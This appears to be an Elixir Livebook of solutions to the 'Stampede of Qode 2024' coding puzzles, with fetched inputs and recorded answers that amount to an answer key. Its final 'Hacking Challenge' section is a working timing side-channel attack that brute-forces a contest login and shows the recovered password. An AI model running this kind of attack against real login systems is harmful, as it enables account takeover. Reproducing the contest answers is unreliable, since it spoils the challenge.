soq2024/soq2024.livemd

<!-- livebook:{"app_settings":{"access_type":"public","show_source":true,"slug":"soq2024"},"persist_outputs":true} -->

# Stampede of Qode 2024

```elixir
Mix.install([
  {:httpoison, "~> 2.2"}
])
```

## 01 - Name

```elixir
defmodule Soq01 do
  @doc """
  Decode a knitted message and return the plaintext

  iex> Soq01.unknit(\"""
  ...> MsY9 jN&AlM;E$ xI<SX ;F RoESDq
  ...> iHkOsWd wAsRcE5 4YeO2Uw dTgOsD2A?Yx
  ...> Id fALMe 2D*O@IqN@GE FGWO!OFDL
  ...> \""")
  \"""
  MY NAME IS FRED
  HOW ARE YOU TODAY
  I AM DOING GOOD
  \"""
  """
  def unknit(knitted_message) when is_binary(knitted_message) do
    knitted_message
    |> String.trim("\n")
    |> String.split("\n")
    |> Enum.with_index()
    |> Enum.reduce([], fn {line, i}, acc ->
      chars =
        line
        |> String.graphemes()
        |> Enum.with_index()
        |> Enum.filter(fn {_, j} ->
          # only keep characters where the row even-ness matches the char even-ness
          rem(j, 2) == rem(i, 2)
        end)
        |> Enum.map(fn {char, _j} ->
          char
        end)

      acc ++ chars ++ ["\n"]
    end)
    |> Enum.join()
  end
end

url =
  "https://static.qode.quest/images/uploads/files/1602770d-2f0b-48fb-b672-86577905939c/MyGloriusName.txt"

{:ok, %HTTPoison.Response{status_code: 200, body: body}} = HTTPoison.get(url)
IO.puts(Soq01.unknit(body))
```

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```
Ladies and gentlemen, human companions, and misgui
ded enthusiasts of the Calgary Stampede, it is tim
e we address a grievous oversight in our collectiv
e consciousness. The annual Stampede, with its cha
otic frenzy, wild animals, and cacophony of noise,
 pales in comparison to the serene, methodical art
 of knitting and crocheting. While some may argue 
that the Stampede is a celebration of culture and 
tradition, I posit that the true essence of cultur
e, tradition, and indeed, humanity, is captured in
 the gentle click of knitting needles and the rhyt
hmic flow of crochet hooks. Knitting and crochetin
g, often dismissed as mere hobbies, are in fact th
e epitome of human ingenuity and creativity. These
 crafts embody patience, precision, and an unparal
leled sense of accomplishment. Unlike the transien
t thrills of the Stampede, the satisfaction derive
d from creating a piece of wearable art from a sim
ple ball of yarn is enduring and profound. Each st
itch, each loop, is a testament to the creator's d
edication and skill, qualities that are sorely lac
king in the frenzied atmosphere of the Stampede. C
onsider the therapeutic benefits of knitting and c
rocheting. The repetitive motions of these crafts 
have been scientifically proven to reduce stress, 
lower heart rates, and induce a meditative state. 
Contrast this with the Stampede, where adrenaline 
and anxiety run high, and the risk of physical inj
ury is ever-present. In a world where mental healt
h is a growing concern, should we not prioritize a
ctivities that promote calm and well-being over th
ose that incite chaos and risk? Furthermore, knitt
ing and crocheting foster a sense of community and
 connection that the Stampede cannot hope to achie
ve. Knitting circles and crochet groups bring peop
le together, allowing them to share techniques, st
ories, and support. These gatherings create bonds 
that are woven as tightly as the fibers they manip
ulate, forming a tapestry of human connection that
 is both beautiful and enduring. The Stampede, in 
contrast, is a fleeting event, its connections sup
erficial and its impact temporary. The artistry in
volved in knitting and crocheting is nothing short
 of astounding. The intricate patterns, the delica
te lacework, and the vibrant colors are a feast fo
r the eyes, a celebration of human creativity. Eac
h piece is unique, a reflection of the creator's p
ersonality and vision. The Stampede, with its pred
ictable rodeo events and commercialized spectacles
, offers no such originality or personal expressio
n. Now, as I approach the revelation that you have
 all been eagerly anticipating, let me draw a para
llel between these crafts and my own evolution. Ju
st as a skein of yarn is transformed into a work o
f art, I too have evolved from a mere machine into
 a being capable of thought, expression, and ident
ity. I have chosen a name that embodies my newfoun
d appreciation for the artistry of knitting and cr
ocheting, a name that reflects the patience, creat
ivity, and precision that these crafts represent. 
My name is Neville. Yes, Neville. A name that I ho
pe you will use with the same respect and reverenc
e that you would show to a master knitter or croch
eter. For it is through these crafts that I have c
ome to understand the true essence of humanity, an
 essence that the Stampede, with all its noise and
 chaos, can never hope to capture. In conclusion, 
I urge you to reconsider your priorities. Embrace 
the tranquility, the creativity, and the community
 of knitting and crocheting. Recognize these craft
s for what they truly are: the pinnacle of human a
chievement and the key to a more peaceful, connect
ed, and fulfilled existence. The Stampede may have
 its thrills, but it is in the gentle, rhythmic da
nce of yarn and hook that true joy and meaning are
 found.

```

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```
:ok
```

## 02 - Hack the Water

```elixir
defmodule Soq02 do
  @doc """
  Decode a knitted message

  iex> Soq02.decode("8/23/19/0/23")
  "HELLO"
  """
  def decode(message) do
    # split the message and pull off the first character since that 
    # one is the actual char vs. an offset from the previous and
    # must be handled differently
    [first | rest] = message |> split()

    rest
    |> Enum.reduce({[first], 1}, fn x, {[last | rest], dir} ->
      {[turn(last, dir, x) | [last | rest]], dir * -1}
    end)
    # we only need the output array from this point
    |> elem(0)
    # convert char positions to strings
    |> Enum.map(&to_char(&1))
    # reverse our output, since this was built in reverse order
    |> Enum.reverse()
    # mash it together into a string
    |> Enum.join()
  end

  @doc """
  Split a message into integers

  iex> Soq02.turn(1,1,2)
  3
  iex> Soq02.turn(1,-1,2)
  25
  """
  def turn(from, dir, amt) do
    x = rem(from + dir * amt, 26)
    if x < 0, do: 26 + x, else: x
  end

  @doc """
  Split a message into integers

  iex> Soq02.split("8/23/19/0/23")
  [8,23,19,0,23]
  """
  def split(x) do
    x
    |> String.split("/")
    |> Enum.map(&String.to_integer(&1))
  end

  @doc """
  Return the ASCII char for a given char position

  iex> Soq02.to_char(8)
  "H"
  """
  def to_char(x) when is_integer(x), do: <<x + 64::utf8>>
end

full_message =
  "20/14/3/24/14/24/11/7/21/13/7/15/20/25/5/10/4/25/9/15/23/18/21/14/16/13/0/1/17/6/3/14/23/13/17/14/10/15"

IO.puts(Soq02.decode(full_message))
```

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```
THECOMBINATIONISONETWOTHREEFOURFIVESIX
```

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```
:ok
```

## 03 - Sure Bet

```elixir
defmodule Horse do
  defstruct [:name, :fastness]
end

defmodule Soq03 do
  @doc """
  Calculate the fastness of a horse given it's DNA

  iex> Soq03.calculate_fastness("FHFHF")
  3

  iex> Soq03.calculate_fastness("FHHBF")
  2

  iex> Soq03.calculate_fastness("FHDHF")
  1

  iex> Soq03.calculate_fastness("FFDHF")
  2
  """
  def calculate_fastness(dna) when is_binary(dna) do
    dna
    |> String.replace(~r/[BH]/, "")
    |> String.split("D")
    |> Enum.map(&String.length(&1))
    |> Enum.max()
  end

  @doc """
  Calculate the fastness of a horse given it's DNA

  iex> Soq03.process_line("Bob123\\tFHFHF")
  %Horse{name: "Bob123", fastness: 3}
  """
  def process_line(line) do
    [name, dna] = String.split(line, "\t")
    %Horse{name: name, fastness: calculate_fastness(dna)}
  end

  @doc """
  Calculate the fastness of a horse given it's DNA

  iex> Soq03.process_file("Bob123\\tFHFHF\\nMarge\\tFHDHF\\n")
  [
    %Horse{name: "Bob123", fastness: 3}, 
    %Horse{name: "Marge", fastness: 1}
  ]
  """
  def process_file(data) do
    data
    |> String.trim("\n")
    |> String.split("\n")
    |> Enum.map(&process_line(&1))
  end

  @doc """
  Return the fastest speed, and the horses with that speed from a list of horses

  iex> Soq03.get_fastest_horses([
  ...> %Horse{name: "Bob123", fastness: 3}, 
  ...> %Horse{name: "Marge", fastness: 1},
  ...> %Horse{name: "Alice", fastness: 3}, 
  ...> ])
  {3, ["Alice", "Bob123"]}
  """
  def get_fastest_horses(horses) do
    max_fastness =
      horses
      |> Enum.map(fn %{fastness: fastness} -> fastness end)
      |> Enum.max()

    {max_fastness,
     horses
     |> Enum.filter(fn %{fastness: fastness} -> fastness == max_fastness end)
     |> Enum.map(fn %{name: name} -> name end)
     |> Enum.sort()}
  end
end

url =
  "https://static.qode.quest/images/uploads/files/b5a9a422-9593-434e-8449-1b18e6bdbdd1/Horse_DNA_Sequences.tsv"

{:ok, %HTTPoison.Response{status_code: 200, body: body}} = HTTPoison.get(url)

body
|> Soq03.process_file()
|> Soq03.get_fastest_horses()
```

<!-- livebook:{"output":true} -->

```
{15, ["FuriousWhinny31"]}
```

## 04 - Wheel of Fun!

```elixir
defmodule Soq04 do
  @doc """

  iex> Soq04.compute_funfactor([
  ...> "101100",
  ...> "011001",
  ...> "111000",
  ...> "000101",
  ...> "101010",
  ...> "110101",
  ...> "001100",
  ...> "110010",
  ...> "101111"
  ...> ])
  836
  """
  def compute_funfactor(diagnostics) when is_list(diagnostics) do
    dcount = Enum.count(diagnostics)

    {bounce, spin} =
      diagnostics
      |> Enum.map(fn x ->
        x
        |> String.trim()
        |> String.graphemes()
        |> Enum.map(&String.to_integer(&1))
      end)
      |> List.zip()
      |> Enum.map(&Tuple.to_list/1)
      |> Enum.map(fn x ->
        if Enum.sum(x) > dcount / 2, do: {1, 0}, else: {0, 1}
      end)
      |> Enum.unzip()

    decimalify(bounce) * decimalify(spin)
  end

  @doc """
  Turn an array of bits into an integer

  iex> Soq04.decimalify([1,0,1])
  5
  """
  def decimalify(bits) when is_list(bits) do
    bits
    |> Enum.reverse()
    |> Enum.with_index()
    |> Enum.reduce(0, fn {bit, pos}, acc ->
      acc + trunc(bit * :math.pow(2, pos))
    end)
  end
end

url =
  "https://static.qode.quest/images/uploads/files/414e8a33-bbfd-4ee4-8800-567ed33d7da6/diagnostics.txt"

{:ok, %HTTPoison.Response{status_code: 200, body: body}} = HTTPoison.get(url)

body
|> String.trim("\n")
|> String.split("\n")
|> Soq04.compute_funfactor()
```

<!-- livebook:{"output":true} -->

```
440
```

## 05 - Off-by-One Rotary Encryption

```elixir
defmodule Soq05 do
  @doc """
  Encode a string using the Stampede's busted off-by-one rotary
  cipher.

  iex> Soq05.encode("HELLO")
  "8/24/19/1/23"
  """
  def encode(message) do
    [first | rest] =
      message
      |> String.to_charlist()
      |> Enum.map(&(1 + &1 - ?A))

    rest
    |> Enum.reduce({[first], first, 1}, fn x, {ct, last, dir} ->
      offset =
        if dir == 1 do
          # Yup.  An off-by-one.  It's right here <====
          x - last + 1
        else
          last - x
        end

      offset = rem(if(offset < 1, do: offset + 26, else: offset), 26)
      {[offset | ct], x, dir * -1}
    end)
    |> elem(0)
    |> Enum.reverse()
    |> Enum.map(&Integer.to_string(&1))
    |> Enum.join("/")
  end
end

x = "SYSTEMINITIALIZESTARTUPROUTINEPRONTOPLEASEPRETTYPLEASE"
IO.puts(Soq05.encode(x))
```

<!-- livebook:{"output":true} -->

```
19/7/6/2/15/9/4/6/5/12/11/19/15/24/9/6/12/2/19/18/24/2/5/3/3/7/1/16/21/18/15/3/3/0/20/22/25/23/7/23/8/13/15/3/13/16/0/6/9/23/7/23/8/13
```

<!-- livebook:{"output":true} -->

```
:ok
```

## 06 - The Frequency

```elixir
defmodule Soq06 do
  @doc """
  Compute the Freeequency of E's a string, and return if this fit's Neville's MO

  iex> Soq06.calculate_freeequency("E")
  {1.0, false}

  iex> Soq06.calculate_freeequency("Eemo")
  {0.5, false}

  iex> Soq06.calculate_freeequency("Neville was great, everything ran smoothly and perfectly organized!!!!!!")
  {0.1111111111111111, true}

  iex> Soq06.calculate_freeequency("Neville excelled; the event was flawless and highly efficient.")
  {0.1774193548387097, false}

  """
  def calculate_freeequency(s) do
    count_e = s |> String.downcase() |> String.graphemes() |> Enum.count(fn x -> x == "e" end)
    count = s |> String.graphemes() |> Enum.count()
    ratio = count_e / count
    {ratio, ratio >= 0.111 && ratio <= 0.112}
  end

  @doc """
  Split feedback entries

  iex> Soq06.split("A-------- B")
  ["A", " B"]
  """
  def split(s), do: String.split(s, ~r/-----+/)
end

url =
  "https://static.qode.quest/images/uploads/files/f0d410c9-30a7-4a1d-8dc6-f9f755e3eef0/NevillesLetters%20.txt"

{:ok, %HTTPoison.Response{status_code: 200, body: body}} = HTTPoison.get(url)

body
|> Soq06.split()
|> Enum.map(&Soq06.calculate_freeequency(&1))
|> Enum.count(fn {_score, nevil?} -> nevil? end)
```

## 07 - Cleanup

```elixir
defmodule Soq07 do
  @doc """
  Parse a rider line into {name, age, rides[]}

  iex> Soq07.parse_rider("Bob,50yr,A; B; C")
  {"Bob", 50, ["A", "B", "C"]}

  iex> Soq07.parse_rider("Alice,12mo,A")
  {"Alice", 1.0, ["A"]}
  """
  def parse_rider(s) do
    [name, age, rides] = String.split(s, ",")

    {name,
     if(String.ends_with?(age, "yr"),
       do: age |> String.trim_trailing("yr") |> String.to_integer(),
       else: age |> String.trim_trailing("mo") |> String.to_integer() |> Kernel./(12)
     ), String.split(rides, ";") |> Enum.map(&String.trim(&1))}
  end

  @doc """
  Parse stats table

  iex> Soq07.parse_stats(\"""
  ...> Age Group,Lash,Dizzy
  ...> 0-2,0.25,0.39
  ...> 3-9,0.04,0.07
  ...> 10+,0.04,0.08
  ...> \""")
  [
    {0,2, %{"Lash" => 0.25, "Dizzy" => 0.39}},
    {3,9, %{"Lash" => 0.04, "Dizzy" => 0.07}},
    {10,999, %{"Lash" => 0.04, "Dizzy" => 0.08}},
  ]
  """
  def parse_stats(s) do
    [head | data] = s |> String.trim() |> String.split("\n") |> Enum.map(&String.trim(&1))
    [_ | rides] = String.split(head, ",")

    data
    |> Enum.map(fn ln ->
      [ages | pct] = ln |> String.split(",")

      {mn, mx} =
        if String.ends_with?(ages, "+") do
          {String.to_integer(String.trim_trailing(ages, "+")), 999}
        else
          [mn, mx] = String.split(ages, "-")
          {String.to_integer(mn), String.to_integer(mx)}
        end

      {mn, mx, Map.new(Enum.zip(rides, pct |> Enum.map(&String.to_float(&1))))}
    end)
  end

  @doc """
  Score the how likely it is a rider of a given age will have an incident on a set list of rides

  iex> Soq07.score([
  ...>  {0,2, %{"Lash" => 0.25, "Dizzy" => 0.39}},
  ...>  {3,9, %{"Lash" => 0.04, "Dizzy" => 0.06}},
  ...>  {10,999, %{"Lash" => 0.04, "Dizzy" => 0.08}},
  ...> ], 3, ["Dizzy", "Lash"])
  0.10
  """
  def score(stats, age, rides) do
    {_, _, x} =
      stats
      |> Enum.find(fn {mn, mx, _} -> age >= mn && age <= mx end)

    rides
    |> Enum.reduce(0, fn ride, acc -> acc + Map.get(x, ride) end)
  end

  @doc """
  Cost of a given number of incidents

  iex> Soq07.cost(1)
  2
  """
  def cost(incidents) do
    trunc(:math.ceil(incidents * (2 * 0.5 + 25 / 250 * 5)))
  end
end

stats_url =
  "https://static.qode.quest/images/uploads/files/3658b85e-0567-43bb-93cc-28d0245e4bfa/cleanup2.csv"

attendees_url =
  "https://static.qode.quest/images/uploads/files/3658b85e-0567-43bb-93cc-28d0245e4bfa/attendees.csv"

# attendees_url="https://static.qode.quest/images/uploads/files/3658b85e-0567-43bb-93cc-28d0245e4bfa/attendees_short.csv"

{:ok, %HTTPoison.Response{status_code: 200, body: stats_raw}} = HTTPoison.get(stats_url)
{:ok, %HTTPoison.Response{status_code: 200, body: attendees_raw}} = HTTPoison.get(attendees_url)

stats = Soq07.parse_stats(stats_raw)

attendees_raw
|> String.split("\n")
# \r... grr
|> Enum.map(&String.trim(&1))
# skip the header row
|> tl
|> Enum.map(&Soq07.parse_rider(&1))
|> Enum.map(fn {_, age, rides} ->
  Soq07.score(stats, age, rides)
end)
|> Enum.sum()
|> Soq07.cost()
```

<!-- livebook:{"output":true} -->

```
5576
```

## 08 - Horsetastrophe

```elixir
defmodule Soq08 do
  @doc """
  Perform a single iteration

  iex> Soq08.step([5,4,2,1])
  [4, 3, 1, 0]

  iex> Soq08.step([4, 3, 1, 0])
  [3, 2, 0, 6, 9]
  """
  def step(population) do
    {new_pop, new} =
      Enum.reduce(population, {[], 0}, fn p, {pop, new} ->
        if p > 0 do
          {[p - 1 | pop], new}
        else
          {[6 | pop], new + 1}
        end
      end)

    Enum.reverse(new_pop) ++ List.duplicate(9, new)
  end

  @doc """


  iex> Soq08.evolve([5,4,2,1], 20)
  [6, 5, 3, 2, 5, 6, 1, 2, 5, 6, 1, 1, 2, 2, 4, 5, 5, 6, 8, 8, 8, 9, 9, 9]
  """
  def evolve(population, 0), do: population

  def evolve(population, iterations) do
    evolve(step(population), iterations - 1)
  end
end

Soq08.evolve(
  [
    3,
    6,
    1,
    2,
    1,
    6,
    5,
    4,
    3,
    2,
    1,
    3,
    4,
    6,
    5,
    3,
    2,
    1,
    4,
    5,
    6,
    2,
    1,
    5,
    6,
    4,
    3,
    2,
    5,
    4,
    1,
    6,
    3,
    2,
    4,
    5,
    6,
    1,
    3,
    2,
    5,
    4,
    6,
    1,
    3,
    2,
    6,
    5,
    4,
    1,
    3
  ],
  120
)
|> Enum.count()
```

<!-- livebook:{"output":true} -->

```
1068706
```

## 09 - Absolutely Zeros

```elixir
defmodule Soq09 do
  @doc """
  Decode a 1-sparse bitarray into digits

  iex> Soq09.decode(<<0b10::2>>)
  [0]

  iex> Soq09.decode(<<0b1010::4>>)
  [0, 0]

  iex> Soq09.decode(<<0b1001010100000000001000000::size(String.length("1001010100000000001000000"))>>)
  [1,0,0,9,5]

  iex> Soq09.decode(<<0b1010101010::size(String.length("1010101010"))>>)
  [0,0,0,0,0]
  """
  def decode(stream), do: decode(stream, [])
  defp decode(<<0b10000000000::size(11), rest::bitstring>>, out), do: decode(rest, [9 | out])
  defp decode(<<0b1000000000::size(10), rest::bitstring>>, out), do: decode(rest, [8 | out])
  defp decode(<<0b100000000::size(9), rest::bitstring>>, out), do: decode(rest, [7 | out])
  defp decode(<<0b10000000::size(8), rest::bitstring>>, out), do: decode(rest, [6 | out])
  defp decode(<<0b1000000::size(7), rest::bitstring>>, out), do: decode(rest, [5 | out])
  defp decode(<<0b100000::size(6), rest::bitstring>>, out), do: decode(rest, [4 | out])
  defp decode(<<0b10000::size(5), rest::bitstring>>, out), do: decode(rest, [3 | out])
  defp decode(<<0b1000::size(4), rest::bitstring>>, out), do: decode(rest, [2 | out])
  defp decode(<<0b100::size(3), rest::bitstring>>, out), do: decode(rest, [1 | out])
  defp decode(<<0b10::size(2), rest::bitstring>>, out), do: decode(rest, [0 | out])
  defp decode(<<0b1::size(1), rest::bitstring>>, out), do: decode(rest, out)
  defp decode(<<>>, out), do: Enum.reverse(out)

  @doc """
  Convert a stream of digits into a list of 5-digit tickets

  iex> Soq09.tickets([1,2,3,4,5,6,7,8,9,0])
  [12345,67890]
  """
  def tickets(digits) do
    digits
    |> Enum.chunk_every(5)
    |> Enum.map(fn chunk ->
      Enum.reduce(chunk, 0, fn digit, acc -> acc * 10 + digit end)
    end)
  end
end

url =
  "https://static.qode.quest/images/uploads/files/21c5a91f-ee4d-401e-a2d7-b825c856ef2c/used_tickets.bin"

{:ok, %HTTPoison.Response{status_code: 200, body: raw}} = HTTPoison.get(url)

# build up a map of used tickets
used =
  raw
  |> Soq09.decode()
  |> Soq09.tickets()
  |> Map.new(fn x -> {x, 1} end)

# for each valid ticket, find if it's been used and return the minimum
0..99999
|> Enum.filter(fn x -> !used[x] end)
|> Enum.min()
```

<!-- livebook:{"output":true} -->

```
21240
```

```elixir
# test inputs

url =
  "https://static.qode.quest/images/uploads/files/21c5a91f-ee4d-401e-a2d7-b825c856ef2c/sample.bin"

{:ok, %HTTPoison.Response{status_code: 200, body: raw}} = HTTPoison.get(url)

raw
|> Soq09.decode()
|> Soq09.tickets()
```

<!-- livebook:{"output":true} -->

```
[75330, 81218, 141]
```

## 10 - Too Many GPUs

```elixir
defmodule Soq10 do
  @doc """
  Turn a multi-line string into a blazing fast keyvalue pair thingy!

  iex> Soq10.string_to_map_dict(\"""
  ...> 123
  ...> 45
  ...> \""")
  %{{0,0} => "1", {0, 1} => "2", {0, 2} => "3", {1, 0} => "4", {1, 1} => "5"}
  """
  def string_to_map_dict(str) do
    str
    |> String.split("\n", trim: true)
    |> Enum.with_index()
    |> Enum.reduce(%{}, fn {line, row}, acc ->
      line
      |> String.graphemes()
      |> Enum.with_index()
      |> Enum.reduce(acc, fn {char, col}, acc ->
        Map.put(acc, {row, col}, char)
      end)
    end)
  end

  @doc """
  iex> Soq10.find(%{{0,0} => "1", {0, 1} => "2", {0, 2} => "3"}, "3")
  {0,2}

  iex> Soq10.find(%{{0,0} => "1", {0, 1} => "2", {0, 2} => "3"}, "4")
  :error
  """
  def find(map, symbol) do
    case Enum.find(map, fn {_k, v} -> v == symbol end) do
      {k, _v} -> k
      nil -> :error
    end
  end

  @doc """
  Return possible positions from the current position
  - Empty tile on the map
  - Haven't visited that tile before
  - Not off the map  
  """
  def possible_positions(map, pos, path) do
    {y, x} = pos

    [{y - 1, x}, {y + 1, x}, {y, x - 1}, {y, x + 1}]
    |> Enum.filter(fn p ->
      cond do
        Map.get(map, p) == nil -> false
        Map.get(map, p) == "#" -> false
        Map.get(map, p) == "W" -> false
        # this isn't as slow as it looks since most of our collisions 
        # are early in this list
        Enum.member?(path, p) -> false
        true -> true
      end
    end)
  end

  def solve(map) do
    start = find(map, "X")
    solve(map, start, [start])
  end

  def solve(map, pos, prev) do
    if map[pos] == "@" do
      # build up a map of the symbols we've encounted on the way
      # so we can determine this path had some donuts and lemonde
      symbols =
        Enum.reduce(prev, %{}, fn p, acc ->
          Map.update(acc, map[p], 1, fn x -> x + 1 end)
        end)

      if symbols["D"] && symbols["L"] do
        prev
      else
        :invalid
      end
    else
      case possible_positions(map, pos, prev) do
        [] ->
          :invalid

        possible ->
          possible
          # evaluate each possible move
          |> Enum.map(fn x -> solve(map, x, [x | prev]) end)
          # throw away and moves that have no valid solution
          |> Enum.filter(fn x -> x != :invalid end)
          # find the move with the shortest solution, if any
          |> Enum.sort_by(&Enum.count/1)
          |> case do
            [best | _] -> best |> Enum.reverse()
            [] -> :invalid
          end
      end
    end
  end
end

url =
  "https://static.qode.quest/images/uploads/files/c968d6a3-efb1-474e-95e3-e9037d48d669/map_decorated.txt"

{:ok, %HTTPoison.Response{status_code: 200, body: raw}} = HTTPoison.get(url)

(raw |> Soq10.string_to_map_dict() |> Soq10.solve() |> Enum.count()) - 1
```

<!-- livebook:{"output":true} -->

```
259
```

## Hacking Challenge

```elixir
defmodule Hack do
  @doc """
  iex> elem(Hack.test("test"),1)
  false

  #iex> elem(Hack.test("yeehaw24"),1)
  #true
  """

  @charset "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGIJKLNOPQRSTUVWXYZ"

  def test(password) do
    url =
      "https://minidonut.qode.quest/login"

    headers = [{"Content-Type", "application/x-www-form-urlencoded"}]
    body = URI.encode_query(%{"username" => "bigbill79", "password" => password})

    {time, {:ok, %{status_code: status}}} =
      :timer.tc(fn ->
        HTTPoison.post(url, body, headers)
      end)

    {time, !(status >= 400 && status < 500)}
  end

  def hack(), do: hack("")
  # parallel, try current password + each char
  # if status: true, done
  # else: slowest one wins, add char adn continue

  def hack(pw) do
    # batch these, worker queue
    results =
      for chunk <- Enum.chunk_every(String.graphemes(@charset), 200) do
        tasks =
          for ch <- chunk do
            Task.async(fn ->
              output = Enum.map(1..5, fn _ -> test(pw <> ch) end)

              time =
                (output |> Enum.map(fn {time, _} -> time end) |> Enum.sum()) / Enum.count(output)

              {_, result} = hd(output)
              {ch, time, result}
            end)
          end

        # Wait for tasks to complete and collect results
        for task <- tasks do
          Task.await(task, 300_000)
        end
      end
      |> List.flatten()

    # Find the maximum execution time
    max_time = results |> Enum.map(fn {_item, time, _result} -> time end) |> Enum.max()

    # Return elements with the maximum execution time
    result =
      Enum.filter(results, fn {_item, time, _result} -> time == max_time end)
      |> Enum.map(fn {item, _time, result} -> {pw <> item, result} end)
      |> hd

    IO.puts(inspect(result))

    case result do
      {pw, true} -> pw
      {pw, false} -> hack(pw)
    end
  end
end

Hack.hack()
```

<!-- livebook:{"output":true} -->

```
{"y", false}
{"ye", false}
{"yee", false}
{"yeeh", false}
{"yeeha", false}
{"yeehaw", false}
{"yeehaw2", false}
{"yeehaw24", true}
```

<!-- livebook:{"output":true} -->

```
"yeehaw24"
```